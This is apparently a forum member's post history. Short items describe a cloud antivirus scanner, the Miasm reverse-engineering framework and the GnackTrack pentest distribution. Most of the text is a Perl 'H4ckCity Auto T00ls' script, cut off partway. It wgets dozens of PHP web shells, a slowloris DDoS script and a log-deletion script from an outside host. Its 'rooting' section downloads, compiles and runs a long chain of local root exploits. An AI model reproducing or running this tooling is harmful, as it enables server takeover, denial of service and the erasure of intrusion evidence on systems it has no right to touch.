-
Posts
3206 -
Joined
-
Days Won
87
Everything posted by Fi8sVrs
-
a mai fost http://rstcenter.com/forum/18406-crypto.rst
-
Balaji Plus Cloud Antivirus World first Antivirus scanning software which protects your PC from viruses, trojans, spyware, rootkits and other malicious programs (zero day exploits) by using 32+ antivirus on cloud. Balajiplus Cloud scanner use following Latest antivirus engine: Ad-Adware ArcaVir Avast AVG Anti-Virus Avira AntiVir Personal BitDefender Internet Security BullGuard VirusBuster Internet Security ClamAV COMODO Internet Security Dr.Web CA Internet Security F-PROT Antivirus F-Secure Internet Security G Data InternetSecurity 2011 IKARUS Security Software Kaspersky Internet Security McAfee Total Protection Microsoft Security Essentials ESET NOD32 Antivirus Norman Security Suite Norton Internet Security Panda Cloud Antivirus Quick Heal Rising AntiVirus 2011 SOLO ANTI-VIRUS Sophos AutoUpdate Trend Micro Internet Security VirusBlokAda Vexira Antivirus Scanner Webroot Internet Security Zoner AntiVirus client Download
-
reverse engineering framework in python This is a meta repository for : miasm: miasm - reverse engineering framework - Google Project Hosting elfesteem: elfesteem: Summary grandalf: https://github.com/bdcht/grandalf/ What is Miasm? Miasm is a a free and open source (GPLv2) reverse engineering framework. Miasm aims at analyzing/modifying/generating binary programs. Here is a non exhausting list of features: opening/modifying/generating PE/ELF 32/64 le/be using Elfesteem Assembling/Disassembling ia32/ppc/arm Representing assembly semantic using intermediate language Emulating using jit (dynamic code analysis, unpacking, ...) Expression simplification for automatic de-obfuscation Graphic disassembler using Grandalf ... How does it work? Miasm embed its own disassembler, intermediate language and instruction semantic. It is written in Python. To emulate code, it uses libtcc to jit C code generate from intermediate representation. It can emulate shellcodes, parts of binaries. Python callback can be executed to emulate library functions. Documentation Documentation can be found under =doc/=. Obtain Miasm clone repo: smiasm - reverse engineering framework - Google Project Hosting Software requirements Miasm uses: Grandalf (https://github.com/bdcht/grandalf) in order to render graphical disassembler. Modified libtcc (TCC : Tiny C Compiler) to Jit code for emulation mode. see below python-ply for parsing numpy python-virtualenv python-dev python-qt4 Configuration The libtcc needs a little fix in makefile to be used on 64bit systems remove libtcc-dev from the system to avoid conflicts clone git://repo.or.cz/tinycc.git edit makefile add option -fPIC to the CFLAGS definition ./configure && make && make install To install: To install in virtual env: To test (after install or virtual install): Note: retry on github fail... Misc Man, does miasm has a link with rr0d? Yes! crappy code and uggly documentation. Source
-
GnackTrack is an open and free project to merge penetration testing tools and the linux Gnome desktop. GnackTrack is a Live (and installable) Linux distribution designed for Penetration Testing and is based on Ubuntu. Everyone is invited to collaborate on its development and request/offer new tools or ideas. We hide nothing, and will always ensure this project is community driven. For info on how you can help either send us an email or contact us on the forum. For more information and specifics please read the FAQs or send us an email Download
-
#!/usr/bin/perl use strict; use warnings; use LWP::Simple; my $url = "http://farbod.gozarweb.com/tools/h4ckcity.pl"; my $file = "h4ckcity.pl"; $ARGV=@ARGV; print " ###########################################################\n"; print " ###########################################################\n"; print " ## --== H4ckCity Auto T00ls v1.0 ==-- ##\n"; print " ## ##\n"; print " ## Author: Farbod Mahini ##\n"; print " ## From : Iran ##\n"; print " ## Date : 2011/08/10 ##\n"; print " ## Email : Farbodmahini\@yahoo.fr ##\n"; print " ## Adress : wWw.H4ckCity.Org ##\n"; print " ## ##\n"; print " ## Spc Tnx : ##\n"; print " ## Mehdi.H4ckCity-Expl0its-Higher_Sence-Mikili-2MzRp ##\n"; print " ## ##\n"; print " ## Greetz : M.Prince-L0phtIran-Net.Edit0r-Amir.Magic ##\n"; print " ## And All Member Of H4ckCity ##\n"; print " ## ##\n"; print " ###########################################################\n"; print " ###########################################################\n"; print "[*] Connecting... \n"; print "[*] Sending Payload \n"; sleep(2); if ($ARGV != 2) { print "for view help , Usage: $0 tools help \n\n"; print "Usage: $0 [option1] [option2] \n\n"; die "Ex: $0 shell c99 \n"; } if ($ARGV[0] =~ "tools") { if ($ARGV[1] =~ "help") { print " Usage perl $0 shell help \n"; print " Usage perl $0 rooting help\n"; print " Usage perl $0 script help\n"; print " Usage perl $0 update help \n"; die "Powered By Farbod Mahini \n"; } } #update tools if ($ARGV[0] =~ "update") { if ($ARGV[1] =~ "help") { print " Usage perl $0 win description: update fron Windows Os \n"; print " Usage perl $0 linux description: update fron Linux Os \n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "win") { print "The Tools Link :\n"; print "http://farbod.gozarweb.com/tools/h4ckcity.pl\n"; system "color A"; getstore($url, $file); print "This Tools is updated \n"; print " H4ckcity Security Team\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "linux") { print "The Tools Link :\n"; print "http://farbod.gozarweb.com/tools/h4ckcity.pl\n"; system "wget http://farbod.gozarweb.com/tools/h4ckcity.pl"; system "mv h4ckcity.pl $0"; print "This Tools is updated \n"; print " H4ckcity Security Team\n"; die "Powered By Farbod Mahini \n"; } } #tools for shells if ($ARGV[0] =~ "shell") { if ($ARGV[1] =~ "help") { print " ###########################################################\n"; print " all of users & passwords : h4ckcity \n"; print " Usage perl $0 shell r57 r57-2010.php \n"; print " Usage perl $0 shell itsec itsecteam.php \n"; print " Usage perl $0 shell egy Egy_Spider.php \n"; print " Usage perl $0 shell cry CrystalShell.php \n"; print " Usage perl $0 shell hmb HMBr57.php \n"; print " Usage perl $0 shell mtv MTV2.php\n"; print " Usage perl $0 shell rd Root_directory.php \n"; print " Usage perl $0 shell zend Zend.php \n"; print " Usage perl $0 shell bb bb.php \n"; print " Usage perl $0 shell con config.php\n"; print " Usage perl $0 shell cui cuibap.php \n"; print " Usage perl $0 shell c99 c99.php \n"; print " Usage perl $0 shell zr Zone-r.php \n"; print " Usage perl $0 shell dgn dgn.php \n"; print " Usage perl $0 shell 2mv 2mv2.php h4ckcity sheller\n"; print " Usage perl $0 shell ajx ajax_shell.php \n"; print " Usage perl $0 shell acs antichat_shell.php Antichat Shell v1.3\n"; print " Usage perl $0 shell azp azrailphp.php aZRaiLPhp v1.0\n"; print " Usage perl $0 shell bck backup.php backup the scripts\n"; print " Usage perl $0 shell bps Bl0od3rShell.php Bl0od3r Priv8 Shell\n"; print " Usage perl $0 shell byp Bypass.php \n"; print " Usage perl $0 shell c100 c100.php \n"; print " Usage perl $0 shell csu casus15.php \n"; print " Usage perl $0 shell cgt cgitelnet.pl \n"; print " Usage perl $0 shell cyb cybershell.php \n"; print " Usage perl $0 shell dx Dx.php \n"; print " Usage perl $0 shell fts Fatalshell.php \n"; print " Usage perl $0 shell fps fucphpshell.php \n"; print " Usage perl $0 shell gfs gfs_sh.php \n"; print " Usage perl $0 shell vir virashell.php \n"; print " Usage perl $0 shell vis vira.php virangar shell\n"; print " Usage perl $0 shell up Uploader.php \n"; print " Usage perl $0 shell sra SyRiAn.php SyRiAn.Sh3ll.V7\n"; print " Usage perl $0 shell sim simattacker.php \n"; print " Usage perl $0 shell rus Russian.php \n"; print " Usage perl $0 shell ros rootshell.php \n"; print " Usage perl $0 shell myt mysql_tool.php \n"; print " Usage perl $0 shell mys mysql.php \n"; print " Usage perl $0 shell lod load_shell.php \n"; print " Usage perl $0 shell liz Liz0ziM.php \n"; print " Usage perl $0 shell lip Liz0ziM_Private.php Safe Mode Command Execuriton Bypass Exploit\n"; print " Usage perl $0 shell lam lamashell.php bypass open basedir\n"; print " Usage perl $0 shell iro ironshell.php \n"; print " Usage perl $0 shell imh iMHaPFtp.php \n"; print " Usage perl $0 shell h4n h4ntu_shell.php \n"; print " Usage perl $0 shell pan panel.php with h4ckcity.php\n"; print " Usage perl $0 shell p8 priv8_shell.php this is very very priv8 with many options\n"; print " Usage perl $0 shell p8s p8sheller.php \n"; print " ###########################################################\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "r57") { system("wget http://farbod.gozarweb.com/tools/r57-2010.txt"); system("mv r57-2010.txt r57-2010.php"); print "Shell Name : r57-2010.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "itsec") { system("wget http://farbod.gozarweb.com/tools/itsecteam.txt"); system("mv itsecteam.txt itsecteam.php"); print "Shell Name : itsecteam.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "hmb") { system("wget http://farbod.gozarweb.com/tools/HMBr57.txt"); system("mv HMBr57.txt HMBr57.php"); print "Shell Name : HMBr57.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "cry") { system("wget http://farbod.gozarweb.com/tools/CrystalShell.txt"); system("mv CrystalShell.txt CrystalShell.php"); print "Shell Name : CrystalShell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "egy") { system("wget http://farbod.gozarweb.com/tools/Egy_Spider.txt"); system("mv Egy_Spider.txt Egy_Spider.php"); print "Shell Name : Egy_Spider.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "c99") { system("wget http://farbod.gozarweb.com/tools/c99.txt"); system("mv c99.txt c99.php"); print "Shell Name : c99.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "mtv") { system("wget http://farbod.gozarweb.com/tools/MTV2.txt"); system("mv MTV2.txt MTV2.php"); print "Shell Name : MTV2.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bb") { system("wget http://farbod.gozarweb.com/tools/bb.txt"); system("mv bb.txt bb.php"); print "Shell Name : bb.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "cui") { system("wget http://farbod.gozarweb.com/tools/cuibap.txt"); system("mv cuibap.txt cuibap.php"); print "Shell Name : cuibap.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "con") { system("wget http://farbod.gozarweb.com/tools/config.txt"); system("mv config.txt config.php"); print "Shell Name : config.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "zend") { system("wget http://farbod.gozarweb.com/tools/Zend.txt"); system("mv Zend.txt Zend.php"); print "Shell Name : Zend.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "rd") { system("wget http://farbod.gozarweb.com/tools/Root_directory.txt"); system("mv Root_directory.txt Root_directory.php"); print "Shell Name : Root_directory.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "zr") { system("wget http://farbod.gozarweb.com/tools/Zone-r.txt"); system("mv Zone-r.txt Zone-r.php"); print "Shell Name : Zone-r.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "dgn") { system("wget http://farbod.gozarweb.com/tools/dgn.txt"); system("mv dgn.txt dgn.php"); print "Shell Name : dgn.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2mv") { system("wget http://farbod.gozarweb.com/tools/2mv2.txt"); system("mv r2mv2.txt 2mv2.php"); print "Shell Name : 2mv2.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "ajx") { system("wget http://farbod.gozarweb.com/tools/ajax_shell.txt"); system("mv ajax_shell.txt ajax_shell.php"); print "Shell Name : ajax_shell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "acs") { system("wget http://farbod.gozarweb.com/tools/antichat_shell.txt"); system("mv antichat_shell.txt antichat_shell.php"); print "Shell Name : antichat_shell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "azp") { system("wget http://farbod.gozarweb.com/tools/azrailphp.txt"); system("mv azrailphp.txt azrailphp.php"); print "Shell Name : azrailphp.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bck") { system("wget http://farbod.gozarweb.com/tools/backup.txt"); system("mv backup.txt backup.php"); print "Shell Name : backup.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bps") { system("wget http://farbod.gozarweb.com/tools/Bl0od3rShell.txt"); system("mv Bl0od3rShell.txt Bl0od3rShell.php"); print "Shell Name : Bl0od3rShell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "byp") { system("wget http://farbod.gozarweb.com/tools/Bypass.txt"); system("mv Bypass.txt Bypass.php"); print "Shell Name : Bypass.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "c100") { system("wget http://farbod.gozarweb.com/tools/c100.txt"); system("mv c100.txt c100.php"); print "Shell Name : c100.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "cgt") { system("wget http://farbod.gozarweb.com/tools/cgitelnet.txt"); system("mv cgitelnet.txt cgitelnet.pl"); print "Shell Name : cgitelnet.pl \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "cyb") { system("wget http://farbod.gozarweb.com/tools/cybershell.txt"); system("mv cybershell.txt cybershell.php"); print "Shell Name : cybershell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "dx") { system("wget http://farbod.gozarweb.com/tools/Dx.txt"); system("mv Dx.txt Dx.php"); print "Shel Name : Dx.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "fts") { system("wget http://farbod.gozarweb.com/tools/Fatalshell.txt"); system("mv Fatalshell.txt Fatalshell.php"); print "Shell Name : Fatalshell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "fps") { system("wget http://farbod.gozarweb.com/tools/fucphpshell.txt"); system("mv fucphpshell.txt fucphpshell.php"); print "Shell Name : fucphpshell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "gfs") { system("wget http://farbod.gozarweb.com/tools/gfs_sh.txt"); system("mv gfs_sh.txt gfs_sh.php"); print "Shell Name : gfs_sh.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "vir") { system("wget http://farbod.gozarweb.com/tools/virashell.txt"); system("mv virashell.txt virashell.php"); print "Shell Name : virashell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "vis") { system("wget http://farbod.gozarweb.com/tools/vira.txt"); system("mv vira.txt vira.php"); print "Shell Name : vira.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "up") { system("wget http://farbod.gozarweb.com/tools/Uploader.txt"); system("mv Uploader.txt Uploader.php"); print "Shell Name : Uploader.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "sra") { system("wget http://farbod.gozarweb.com/tools/SyRiAn.txt"); system("mv SyRiAn.txt SyRiAn.php"); print "Shell Name : SyRiAn.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "sim") { system("wget http://farbod.gozarweb.com/tools/simattacker.txt"); system("mv simattacker.txt simattacker.php"); print "Shell Name : simattacker.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "rus") { system("wget http://farbod.gozarweb.com/tools/Russian.txt"); system("mv Russian.txt Russian.php"); print "Shell Name : Russian.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "myt") { system("wget http://farbod.gozarweb.com/tools/mysql_tool.txt"); system("mv mysql_tool.txt mysql_tool.php"); print "Shell Name : mysql_tool.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "mys") { system("wget http://farbod.gozarweb.com/tools/mysql.txt"); system("mv mysql.txt mysql.php"); print "Shell Name : mysql.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "lod") { system("wget http://farbod.gozarweb.com/tools/load_shell.txt"); system("mv load_shell.txt load_shell.php"); print "Shell Name : load_shell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "liz") { system("wget http://farbod.gozarweb.com/tools/Liz0ziM.txt"); system("mv Liz0ziM.txt Liz0ziM.php"); print "Shell Name : Liz0ziM.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "lip") { system("wget http://farbod.gozarweb.com/tools/Liz0ziM_Private.txt"); system("mv Liz0ziM_Private.txt Liz0ziM_Private.php"); print "Shell Name : Liz0ziM_Private.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "lam") { system("wget http://farbod.gozarweb.com/tools/lamashell.txt"); system("mv lamashell.txt lamashell.php"); print "Shell Name : lamashell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "iro") { system("wget http://farbod.gozarweb.com/tools/ironshell.txt"); system("mv ironshell.txt ironshell.php"); print "Shell Name : ironshell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "imh") { system("wget http://farbod.gozarweb.com/tools/iMHaPFtp.txt"); system("mv iMHaPFtp.txt iMHaPFtp.php"); print "Shell Name : iMHaPFtp.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "h4n") { system("wget http://farbod.gozarweb.com/tools/h4ntu_shell.txt"); system("mv h4ntu_shell.txt h4ntu_shell.php"); print "Shell Name : h4ntu_shell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "pan") { system("wget http://farbod.gozarweb.com/tools/panel.txt"); system("mv panel.txt panel.php"); system("wget http://farbod.gozarweb.com/tools/h4ckcity.txt"); system("mv h4ckcity.txt h4ckcity.php"); print "Shell Name : panel.php & h4ckcity.php\n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "p8") { system("wget http://farbod.gozarweb.com/tools/priv8_shell.txt"); system("mv priv8_shell.txt priv8_shell.php"); print "Shell Name : priv8_shell.php \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "p8s") { system("wget http://farbod.gozarweb.com/tools/p8sheller.txt"); system("mv p8sheller.txt p8sheller.php"); print "Shell Name : p8sheller.php \n\n"; die "Powered By Farbod Mahini \n"; } } #tools for perl script if ($ARGV[0] =~ "script") { if ($ARGV[1] =~ "help") { print " ###########################################################\n"; print " Usage perl $0 script slow slowloris.pl its for ddos\n"; print " Usage perl $0 script zon zone-h.pl \n"; print " Usage perl $0 script vovo vovo.pl \n"; print " Usage perl $0 script mas mass.pl \n"; print " Usage perl $0 script dc dc.pl \n"; print " Usage perl $0 script log log_delete.pl \n"; print " Usage perl $0 script mass mass20.pl \n"; print " ###########################################################\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "zone") { system("wget http://farbod.gozarweb.com/tools/zone-h.txt"); system("mv zone-h.txt zone-h.pl"); system("chmod 755 zone-h.pl"); print "Script Name : zone-h.pl \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "slow") { system("wget http://farbod.gozarweb.com/tools/slowloris.txt"); system("mv slowloris.txt slowloris.pl"); system("chmod 755 slowloris.pl"); print "Script Name : slowloris.pl \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "vovo") { system("wget http://farbod.gozarweb.com/tools/vovo.txt"); system("mv vovo.txt vovo.pl"); system("chmod 755 vovo.pl"); print "Script Name : vovo.pl \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "mas") { system("wget http://farbod.gozarweb.com/tools/mass.txt"); system("mv mass.txt mass.pl"); system("chmod 755 mass.pl"); print "Script Name : mass.pl \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "dc") { system("wget http://farbod.gozarweb.com/tools/dc.txt"); system("mv dc.txt dc.pl"); system("chmod 755 dc.pl"); print "Script Name : dc.pl \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "log") { system("wget http://farbod.gozarweb.com/tools/log_delete.txt"); system("mv log_delete.txt log_delete.pl"); system("chmod 755 log_delete.pl"); print "Script Name : log_delete.pl \n\n"; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "mass") { system("wget http://farbod.gozarweb.com/tools/mass20.txt"); system("mv mass20.txt mass20.pl"); system("chmod 755 mass20.pl"); print "Script Name : mass20.pl \n\n"; } die "Powered By Farbod Mahini \n"; } #tools for auto rooting if ($ARGV[0] =~ "rooting") { if ($ARGV[1] =~ "all") { system("wget http://farbod.gozarweb.com/local/2009-wunderbar_emporium"); sleep(1); system("chmod 777 2009-wunderbar_emporium"); system("./2009-wunderbar_emporium"); sleep(1); system("su"); sleep(1); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2009-proto_ops"); sleep(1); system("chmod 777 2009-proto_ops"); system("./2009-proto_ops"); sleep(1); system("su"); sleep(1); system("id"); } if ($ARGV[1] =~ "all2") { system("wget http://farbod.gozarweb.com/local/bsd"); system("chmod 777 bsd"); system("./bsd"); system("id"); system("wget http://farbod.gozarweb.com/local/48local"); system("chmod 777 48local"); system("./48local"); system("id"); system("wget http://farbod.gozarweb.com/local/exploit"); system("chmod 777 exploit"); system("./exploit"); system("id"); system("wget http://farbod.gozarweb.com/local/freedbs53"); system("chmod 777 freedbs53"); system("./freedbs53"); system("id"); system("wget http://farbod.gozarweb.com/local/macosX"); system("chmod 777 macosX"); system("./macosX"); system("id"); system("wget http://farbod.gozarweb.com/local/env"); system("chmod 777 env"); system("./env"); system("id"); system("wget http://farbod.gozarweb.com/local/w00t.so.1.0"); system("chmod 777 w00t.so.1.0"); system("./w00t.so.1.0"); system("id"); system("wget http://farbod.gozarweb.com/local/epcs2.c"); system("gcc epcs2.c -o epcs2"); system("chmod 777 epcs2"); system("./epcs2"); system("id"); system("wget http://farbod.gozarweb.com/local/crontab.c"); system("gcc crontab.c -o crontab"); system("chmod 777 crontab"); system("./crontab"); system("id"); system("wget http://farbod.gozarweb.com/local/rh71sm8.c"); system("gcc rh71sm8.c -o rh71sm8"); system("chmod 777 rh71sm8"); system("./rh71sm8"); system("id"); system("wget http://farbod.gozarweb.com/local/ohMy-another-efs"); system("chmod 777 ohMy-another-efs"); system("./ohMy-another-efs"); system("id"); system("wget http://farbod.gozarweb.com/local/nslconf"); system("chmod 777 nslconf"); system("./nslconf"); system("id"); system("wget http://farbod.gozarweb.com/local/alsaplayer-suid"); system("chmod 777 alsaplayer-suid"); system("./alsaplayer-suid"); system("id"); system("wget http://farbod.gozarweb.com/local/afd-expl"); system("chmod 777 afd-expl"); system("./afd-expl"); system("id"); system("wget http://farbod.gozarweb.com/local/solaris27"); system("chmod 777 solaris27"); system("./solaris27"); system("id"); system("wget http://farbod.gozarweb.com/local/final"); system("chmod 777 final"); system("./final"); system("id"); system("wget http://farbod.gozarweb.com/local/sunos59"); system("chmod 777 sunos59"); system("./sunos59"); system("id"); system("wget http://farbod.gozarweb.com/local/sunos510"); system("chmod 777 sunos510"); system("./sunos510"); system("id"); system("wget http://farbod.gozarweb.com/local/ptrace24"); system("chmod 777 ptrace24"); system("./ptrace24"); system("id"); system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); system("wget http://farbod.gozarweb.com/local/elfcd1.c"); system("gcc elfcd1.c -o elfcd1"); system("chmod 777 elfcd1"); system("./elfcd1"); system("id"); system("wget http://farbod.gozarweb.com/local/mremap_pte"); system("chmod 777 mremap_pte"); system("./mremap_pte"); system("id"); system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); system("wget http://farbod.gozarweb.com/local/newlocal"); system("chmod 777 newlocal"); system("./newlocal"); system("id"); system("wget http://farbod.gozarweb.com/local/kmod2"); system("chmod 777 kmod2"); system("./kmod2"); system("id"); system("wget http://farbod.gozarweb.com/local/pwned.c"); system("gcc pwned.c -o pwned"); system("chmod 777 pwned"); system("./pwned"); system("id"); system("wget http://farbod.gozarweb.com/local/1.c"); system("gcc 1.c -o 1"); system("chmod 777 1"); system("./1"); system("id"); system("wget http://farbod.gozarweb.com/local/Linux_kernel_mremap.c"); system("gcc Linux_kernel_mremap.c -o Linux_kernel_mremap"); system("chmod 777 Linux_kernel_mremap"); system("./Linux_kernel_mremap"); system("id"); system("wget http://farbod.gozarweb.com/local/hatorihanzo.c"); system("gcc hatorihanzo.c -o hatorihanzo"); system("chmod 777 hatorihanzo"); system("./hatorihanzo"); system("id"); system("wget http://farbod.gozarweb.com/local/ptrace"); system("chmod 777 ptrace"); system("./ptrace"); system("id"); system("wget http://farbod.gozarweb.com/local/brk2"); system("chmod 777 brk2"); system("./brk2"); system("id"); system("wget http://farbod.gozarweb.com/local/brk"); system("chmod 777 brk"); system("./brk"); system("id"); system("wget http://farbod.gozarweb.com/local/kmod"); system("chmod 777 kmod"); system("./kmod"); system("id"); system("wget http://farbod.gozarweb.com/local/h0llyshit"); system("chmod 777 h0llyshit"); system("./h0llyshit"); system("id"); system("wget http://farbod.gozarweb.com/local/hudo.c"); system("gcc hudo.c -o hudo"); system("chmod 777 hudo"); system("./hudo"); system("wget http://farbod.gozarweb.com/local/ong_bak.c"); system("gcc ong_bak.c -o ong_bak"); system("chmod 777 ong_bak"); system("./ong_bak"); system("id"); system("wget http://farbod.gozarweb.com/local/elflbl"); system("chmod 777 elflbl"); system("./elflbl"); system("id"); system("wget http://farbod.gozarweb.com/local/cw7.3"); system("chmod 777 cw7.3"); system("./cw7.3"); system("id"); system("wget http://farbod.gozarweb.com/local/root2"); system("chmod 777 root2"); system("./root2"); system("id"); system("wget http://farbod.gozarweb.com/local/x2"); system("chmod 777 x2"); system("./x2"); system("id"); system("wget http://farbod.gozarweb.com/local/x"); system("chmod 777 x"); system("./x"); system("id"); system("wget http://farbod.gozarweb.com/local/exp.sh"); system("chmod 777 exp.sh"); system("./exp.sh"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.x"); system("chmod 777 2.6.x"); system("./2.6.x"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.r1z.sh"); system("chmod 777 2.6.r1z.sh"); system("./2.6.r1z.sh"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.182.c"); system("gcc 2.6.182.c -o 2.6.182"); system("chmod 777 2.6.182"); system("./2.6.182"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.26.c"); system("gcc 2.6.26.c -o 2.6.26"); system("chmod 777 2.6.26"); system("./2.6.26"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.9-55-2007-prv8"); system("chmod 777 2.6.9-55-2007-prv8"); system("./2.6.9-55-2007-prv8"); system("id"); system("wget http://farbod.gozarweb.com/local/06"); system("chmod 777 06"); system("./06"); system("id"); system("wget http://farbod.gozarweb.com/local/05"); system("chmod 777 05"); system("./05"); system("id"); system("wget http://farbod.gozarweb.com/local/04"); system("chmod 777 04"); system("./04"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.9-55-2008-prv8"); system("chmod 777 2.6.9-55-2008-prv8"); system("./2.6.9-55-2008-prv8"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.9"); system("chmod 777 2.6.9"); system("./2.6.9"); system("id"); system("wget http://farbod.gozarweb.com/local/2.4.8&2.6.9.c"); system("gcc 2.4.8&2.6.9.c -o 2.4.8&2.6.9"); system("chmod 777 2.4.8&2.6.9"); system("./2.4.8&2.6.9"); system("id"); system("wget http://farbod.gozarweb.com/local/krad2"); system("chmod 777 krad2"); system("./krad2"); system("id"); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); system("wget http://farbod.gozarweb.com/local/r00t"); system("chmod 777 r00t"); system("./r00t"); system("id"); system("wget http://farbod.gozarweb.com/local/myptrace"); system("chmod 777 myptrace"); system("./myptrace"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.17"); system("chmod 777 2.6.17"); system("./2.6.17"); system("id"); system("wget http://farbod.gozarweb.com/local/prct1"); system("chmod 777 prct1"); system("./prct1"); system("id"); system("wget http://farbod.gozarweb.com/local/prct2"); system("chmod 777 prct2"); system("./prct2"); system("id"); system("wget http://farbod.gozarweb.com/local/prct3"); system("chmod 777 prct3"); system("./prct3"); system("id"); system("wget http://farbod.gozarweb.com/local/prct4"); system("chmod 777 prct4"); system("./prct4"); system("id"); system("wget http://farbod.gozarweb.com/local/prct6"); system("chmod 777 prct6"); system("./prct6"); system("id"); system("wget http://farbod.gozarweb.com/local/prct5.sh"); system("chmod 777 prct5.sh"); system("./prct5.sh"); system("id"); system("wget http://farbod.gozarweb.com/local/raptor"); system("chmod 777 raptor"); system("./raptor"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.18.c"); system("gcc 2.6.18.c -o 2.6.18"); system("chmod 777 2.6.18"); system("./2.6.18"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.18-164"); system("chmod 777 2.6.18-164"); system("./2.6.18-164"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.18-2008"); system("chmod 777 2.6.18-2008"); system("./2.6.18-2008"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.31-2010.c"); system("gcc 2.6.31-2010.c -o 2.6.31-2010"); system("chmod 777 2.6.31-2010"); system("./2.6.31-2010"); system("id"); system("wget http://farbod.gozarweb.com/local/enlightenment"); system("chmod 777 enlightenment"); system("./enlightenment"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.20"); system("chmod 777 2.6.20"); system("./2.6.20"); system("id"); system("wget http://farbod.gozarweb.com/local/vmsplice.c"); system("gcc vmsplice.c -o vmsplice"); system("chmod 777 vmsplice"); system("./vmsplice"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.23_2008.c"); system("gcc 2.6.23_2008.c -o 2.6.23_2008"); system("chmod 777 2.6.23_2008"); system("./vmsplice"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24"); system("chmod 777 2.6.23-2.6.24"); system("./2.6.23-2.6.24"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24"); system("chmod 777 2.6.23-2.6.24"); system("./2.6.23-2.6.24"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.22.c"); 